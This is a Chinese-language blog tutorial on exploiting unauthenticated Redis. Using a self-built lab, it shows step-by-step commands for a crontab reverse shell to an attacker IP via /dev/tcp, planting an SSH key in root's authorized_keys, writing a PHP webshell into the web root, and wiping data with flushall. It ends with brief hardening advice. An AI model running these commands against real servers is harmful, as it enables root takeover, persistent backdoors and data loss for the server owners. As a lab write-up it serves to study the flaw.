利用redis漏洞登录(未授权访问漏洞)

Redis 未授权访问引发的安全问题Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

默认端口:6379

安全问题
  1. Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
  3. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
  4. 服务器开着web服务,在redis有web目录写权限时,可以写入webshell。
  5. 在redis以root权限运行时,可以执行计划任务反弹shell。
搭建Redis

CentOS安装redis:

wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make

利用redis漏洞登录(未授权访问漏洞)(1)

修改配置文件,使可以远程访问:

vim redis.conf bind 127.0.0.1前面加上#号 protected-mode设为no

利用redis漏洞登录(未授权访问漏洞)(2)

利用redis漏洞登录(未授权访问漏洞)(3)

启动redis-server

./src/redis-server redis.conf

默认的配置是使用6379端口,没有密码;这时候会导致未授权访问然后使用redis权限写文件。

利用redis漏洞登录(未授权访问漏洞)(4)

基本命令

连接redis:

redis-cli -h 192.168.99.125

查看redis版本信息、一些具体信息、服务器版本信息等等:

192.168.99.125:6379>info

利用redis漏洞登录(未授权访问漏洞)(5)

将变量x的值设为 test :

192.168.99.125:6379>set x "test"

利用redis漏洞登录(未授权访问漏洞)(6)

删除整个redis数据库

192.168.99.125:6379>flushall

查看所有键:

192.168.99.125:6379>KEYS *

利用redis漏洞登录(未授权访问漏洞)(7)

获取默认的redis目录、和rdb文件名:

192.168.99.125:6379>CONFIG GET dir

192.168.99.125:6379>CONFIG GET dbfilename

利用redis漏洞登录(未授权访问漏洞)(8)

利用计划任务执行命令反弹shell

简介:在redis以root权限运行时,可以写 crontab来执行命令反弹shell

监听端口

nc -lvnp 4444

利用redis漏洞登录(未授权访问漏洞)(9)

连接:

redis-cli -h 192.168.99.125

利用redis漏洞登录(未授权访问漏洞)(10)

执行:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.99.121/4444 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save

利用redis漏洞登录(未授权访问漏洞)(11)

成功反弹

利用redis漏洞登录(未授权访问漏洞)(12)

写ssh-keygen公钥然后使用私钥登陆

「利用原理:」

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

「利用条件:」

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在攻击机的/root/.ssh 目录里生成ssh公钥key:

ssh-keygen -t rsa

利用redis漏洞登录(未授权访问漏洞)(13)

接着将公钥导入 key.txt 文件

(echo -e " "; cat id_rsa.pub; echo -e " ") > key.txt

利用redis漏洞登录(未授权访问漏洞)(14)

链接目标服务器上的Redis服务,将保存的公钥 key.txt 写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

cat key.txt | redis-cli -h 192.168.99.125 -x set crackit

利用redis漏洞登录(未授权访问漏洞)(15)

连接redis

redis-cli -h 192.168.99.125

执行:

config get dir #得到Redis备份的路径 config set dir /root/.ssh/ #更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh) config set dbfilename "authorized_keys" #设置上传公钥的备份文件名字为authorized_keys save #保存

成功写入:

利用redis漏洞登录(未授权访问漏洞)(16)

ssh连接:

ssh root@192.168.99.125

利用redis漏洞登录(未授权访问漏洞)(17)

可以看到是不需要输入密码的,成功使用公钥登录目标服务器!

往web物理路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

连接

redis-cli -h 192.168.99.125

执行以下命令

config set dir /var/www/html/ config set dbfilename phpinfo.php set x "<?php phpinfo(); ?>" save

利用redis漏洞登录(未授权访问漏洞)(18)

即可将shell写入web目录(web目录根据实际情况)

利用redis漏洞登录(未授权访问漏洞)(19)

连接:http://192.168.99.125/phpinfo.php

利用redis漏洞登录(未授权访问漏洞)(20)

成功写入webshell!

安全配置
  1. 限制登录ip
  2. 添加密码
  3. 修改默认端口

谢谢你看到了这里,点个关注再走吧~

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页